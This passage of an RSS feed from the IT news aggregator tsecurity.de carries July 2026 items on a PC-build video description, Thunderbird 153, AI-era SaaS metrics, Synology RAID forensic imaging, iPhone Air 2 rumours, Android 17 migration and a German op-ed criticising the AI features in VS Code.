<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla releases Thunderbird 153 with native Microsoft Exchange support]]></title>
<description><![CDATA[Thunderbird 153 “Meadow” has been released, introducing native Microsoft Exchange support alongside a redesigned account setup experience, user interface improvements, and security fixes. The update marks the first time Exchange accounts can be configured directly in Thunderbird without relying o...]]></description>
<link>https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689136/it-security-nachrichten/mozilla-releases-thunderbird-153-with-native-microsoft-exchange-support/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Thunderbird 153 “Meadow” has been released, introducing native Microsoft Exchange support alongside a redesigned account setup experience, user interface improvements, and security fixes. The update marks the first time Exchange accounts can be configured directly in Thunderbird without relying on third-party add-ons. Mozilla describes Thunderbird 153 as the culmination of the features and refinements introduced …</p>
<p>The post <a href="https://cyberinsider.com/mozilla-releases-thunderbird-1-53-with-native-microsoft-exchange-support/">Mozilla releases Thunderbird 153 with native Microsoft Exchange support</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Synology RAID: Reassembly & Logical Imaging With Atola TaskForce 2]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1206 This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire...]]></description>
<link>https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</guid>
<pubDate>Thu, 23 Jul 2026 12:35:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1206 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/QsVck9hYOw0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.<br />
<br />
In this video, TaskForce 2:<br />
<br />
 -  Automatically detects Synology SHR and SHR-2 configurations<br />
<br />
 -  Reconstructs RAID with no manual setup<br />
<br />
 -  Lets you browse evidence before imaging<br />
<br />
 -  Creates logical image of selected files and folders<br />
<br />
 -  Recovers data from missing or damaged drives using RAID parity<br />
<br />
If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.<br />
<br />
⏱️ Timestamps<br />
<br />
00:00 Intro<br />
00:15 The problem with Synology RAID reassembly<br />
01:10 How standard RAID works<br />
01:20 What is Synology SHR<br />
03:31 TaskForce 2: built for Synology RAID<br />
03:35 Step 1: Connect sources<br />
03:58 Step 2: RAID autodetection<br />
03:50 Step 3: Review before imaging<br />
04:23 Step 4: Logical imaging<br />
05:01 Step 5: Missing/damaged RAID recovery<br />
<br />
📝Resources:<br />
<br />
🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html<br />
<br />
🔗 Follow Atola on LinkedIn:  https://www.linkedin.com/company/atola-technology/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know]]></title>
<description><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improv...]]></description>
<link>https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</guid>
<pubDate>Thu, 23 Jul 2026 09:13:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance.



The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected.



iPhone Air 2 at a glance



FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis



Will Apple release an iPhone Air 2?



There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. 



Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62.



A second rear camera is finally coming







The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens.



Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography.



Expected camera improvements




48MP primary Wide camera



Ultra Wide secondary camera



Better landscape photography



Improved macro capabilities



More flexibility for video recording




A telephoto lens is still expected to remain exclusive to Pro models.



A20 Pro chip with 2nm technology







Another major upgrade is the processor.



The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process.



Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency.



Expected benefits




Faster CPU performance



Better graphics performance



Lower power consumption



Improved AI processing



Longer battery life through better efficiency




Bigger battery without sacrificing thinness







Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements.



Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery.



That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation.



Vapor chamber cooling arrives







Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup.



This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads.



That means users can expect:




Better gaming performance



Less thermal throttling



Cooler temperatures during extended use



More stable performance while editing videos or using AI features




Expected release date



Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026.



More recent reports point to a different strategy.



Apple is now expected to launch:



ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027



This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later.



Wrap Up



Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design.



As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Makes Switching From iPhone Easier With Android 17]]></title>
<description><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience c...]]></description>
<link>https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience can move photos, videos, contacts, messages, calendar events, saved passwords, Wi-Fi credentials, Google Account details, and an eSIM from an iPhone to a compatible Android phone.



The transfer takes place wirelessly while users set up their new Android device. Since the tool is built directly into Android 17, users do not need to find the correct cable, install another app, or manually sign in to every service.



Moving Google Account information also means users can arrive on their new phone already signed in. Transferring saved passwords and Wi-Fi details should further reduce the amount of setup required after the migration finishes.



An iPhone With iOS 26.3 Is Required



The iPhone must run iOS 26.3 or later, while the receiving phone needs a compatible version of Android 17. Apple also provides the transfer option through the iPhone’s Settings app, where users can begin moving their data and supported eSIM.



Users should keep both phones close together and connected throughout the process. Carrier support can also affect whether an eSIM transfers successfully.



Available on Pixel and Samsung Phones



The improved switching experience has started rolling out to select Pixel devices. Google says it will also be available on Samsung’s Galaxy Z Flip8 and Galaxy Z Fold8, with support planned for more Android phones.



The update makes changing mobile platforms less time-consuming, especially for people who previously avoided switching because their passwords, network settings, or mobile number were difficult to move.]]></content:encoded>
</item>
<item>
<title><![CDATA[Visual Studio Code hat ein KI-Problem]]></title>
<description><![CDATA[>Wenn der „Wutball“ zum neuen Standard-“Add-On” für Visual Studio Code mutiert…Apichart Poemchawalit | shutterstock.com



Liebe Microsoft-Entscheider,



Ich möchte keine Hassliebe zu Visual Studio Code (VS Code) entwickeln. Aber ihr macht es mir wirklich schwer. Früher war VS Code einfach nur e...]]></description>
<link>https://tsecurity.de/de/3687934/it-security-nachrichten/visual-studio-code-hat-ein-ki-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687934/it-security-nachrichten/visual-studio-code-hat-ein-ki-problem/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Wenn der „Wutball“ zum neuen Standard-“Add-On” für Visual Studio Code mutiert…</figcaption></figure><p class="imageCredit">Apichart Poemchawalit | shutterstock.com</p></div>



<p class="wp-block-paragraph">Liebe Microsoft-Entscheider,</p>



<p class="wp-block-paragraph">Ich möchte keine Hassliebe zu <a href="https://www.computerwoche.de/article/4123522/visual-studio-code-langweilig-aber-noch-on-top.html" target="_blank">Visual Studio Code</a> (VS Code) entwickeln. Aber ihr macht es mir wirklich schwer. Früher war VS Code einfach nur ein Editor, den man mit Hilfe von Add-Ons genau so konfiguriert hat, wie man es brauchte oder wollte. Deshalb habe ich das Tool bisher auch wirklich gerne für diverse Dev-Aufgaben in unterschiedlichen Programmiersprachen genutzt. Zum Beispiel, um:</p>



<ul class="wp-block-list">
<li>mit Extensions einen Python-Workflow aufzusetzen, der <a href="https://www.computerwoche.de/article/3497295/datenbank-how-to-fur-app-entwickler.html" target="_blank">Datenbankfunktionen</a> erschließt,</li>



<li>eine Umgebung für das digitale Publishing von Büchern zu erstellen, oder</li>



<li>ein Screenwriting-Projekt einzurichten.</li>
</ul>



<p class="wp-block-paragraph">Natürlich geht all das auch noch heute. Aber: <em>Buchstäblich jede neue Funktion</em> in Visual Studio Code dreht sich heute nur noch um ein Thema: KI. Das hat inzwischen Ausmaße angenommen, angesichts derer ich mir die Frage stelle, ob in Eurem Unternehmen überhaupt noch jemand am eigentlichen Editor arbeitet.</p>



<p class="wp-block-paragraph">Die <a href="https://code.visualstudio.com/updates/v1_127" target="_blank" rel="noreferrer noopener">Release-Notes zu VS Code 1.127</a> sind ein gutes Beispiel: Abgesehen von einer Funktion, dreht sich auch hier alles nur um Agenten und Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>). Gleiches gilt auch für <a href="https://code.visualstudio.com/updates/v1_126" target="_blank" rel="noreferrer noopener">die Vorgängerversion</a>. Der Trend ist klar erkennbar: VS Code entwickelt sich rasant weiter, vor allem in Richtung Frontend für Agenten. Alles andere scheint erst einmal nachrangig.</p>



<p class="wp-block-paragraph">Manche mögen argumentieren, dass Microsofts Dev-Tool inzwischen so ausgereift ist, dass es an den Kernfunktionalitäten nicht mehr viel zu optimieren gibt – weshalb der Fokus nun eben vor allem darauf liegt, neue Nutzer über den KI-Trend anzuziehen. Das ist allerdings kein Grund dafür, dass all diese KI-Funktionen auf IDE-Ebene integriert werden müssen. Meiner Meinung nach sollte Euer Fokus eher darauf liegen, die native Erweiterbarkeit von VS Code zu fördern – statt keinen Stein auf dem anderen zu lassen, nur um KI-Funktionen zu nativen Elementen zu machen.</p>



<p class="wp-block-paragraph">Im Grunde geht es Euch in meinen Augen vor allem darum, Visual Studio Code zum ersten Anlaufpunkt für KI zu machen – insbesondere für GitHub Copilot. Allerdings rückt so aus meiner Perspektive die Entwicklererfahrung zugunsten der Allgegenwärtigkeit von KI in den Hintergrund. Wenn Ihr wirklich glaubt, dass jeder User von VS Code ein „Agentic Development Environment“ (<a href="https://www.infoworld.com/article/4193975/the-ide-is-dead-long-live-the-ade.html" target="_blank">ADE</a>) einer IDE vorzieht, liegt Ihr in meinen Augen völlig falsch.</p>



<p class="wp-block-paragraph">KI-Tools werden zwar nicht wieder verschwinden. Ich glaube aber durchaus, dass es künftig zu einer Konsolidierung kommen wird.  Frontier-Modelle, die alles können und noch sechs weitere Features obendrauf packen, werden sich bald nur noch nur für große Anbieter lohnen, die ein Netz aus API-„Mautstellen“ darum herum errichten – und genug Geld haben, um entsprechende Rechenzentren zu betreiben.</p>



<p class="wp-block-paragraph">Der allgemeine Trend geht bei KI eher hin zu kleineren, lokal gehosteten Modellen, die <a href="https://www.computerwoche.de/article/4173136/17-llms-fur-spezialdomanen.html" target="_blank">spezialisierte Tasks</a> bewältigen – und mit deutlich weniger Aufwand zu trainieren, bereitzustellen und zu betreiben sind. Es macht also echt wenig Sinn, das Pferd hinter den Karren zu spannen – wie bei den nativen KI-Funktionen von VS Code.</p>



<p class="wp-block-paragraph">Gleichzeitig habe ich die Hoffnung, dass es nicht mehr so lange dauert, bis die KI-Funktionen wieder aus Visual Studio Code herausgelöst und in ein Add-On verfrachtet werden. Bis es so weit ist, bleibt mir wohl nur, mich damit abzufinden, dass mein Lieblings-Editor zunehmend mit KI-Funktionen vollgestopft wird – ganz gleich, ob sie für meinen Anwendungsfall überhaupt Sinn machen oder nicht. Immerhin ist es (noch) <a href="https://code.visualstudio.com/docs/supporting/FAQ#_can-i-disable-ai-functionality-in-vs-code" target="_blank" rel="noreferrer noopener">möglich</a>, das ganze KI-Zeug in VS Code <a href="https://www.computerwoche.de/article/4196026/das-nachste-killer-feature-fur-ki.html" target="_blank">zu deaktivieren</a>.</p>



<p class="wp-block-paragraph">Während ich diesen Text hier schreibe, habe ich gerade das Update auf VS Code 1.128 erhalten. Das enthält eine nutzwertige Funktion, die ich sicher oft nutzen werden: <a href="https://code.visualstudio.com/updates/v1_128#_os-level-keyboard-shortcuts" target="_blank" rel="noreferrer noopener">die Möglichkeit, Tastatur-Shortcuts auf Betriebssystemebene</a> einzurichten. Ansonsten dreht sich auch bei diesem Update alles nur um eines: KI.</p>



<p class="wp-block-paragraph">Besinnt Euch darauf, was Visual Studio Code groß gemacht hat – ansonsten riskiert Ihr auf lange Sicht, Benutzer zu verlieren.</p>



<p class="wp-block-paragraph">Liebe Grüße,</p>



<p class="wp-block-paragraph">ein genervter Visual-Studio-Code-Poweruser.</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4197387/dear-microsoft-stop-sticking-your-ai-in-my-ide.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lego’s Donkey Kong arcade machine lets Mario jump endless barrels — Miyamoto is reportedly happy]]></title>
<description><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine...]]></description>
<link>https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</guid>
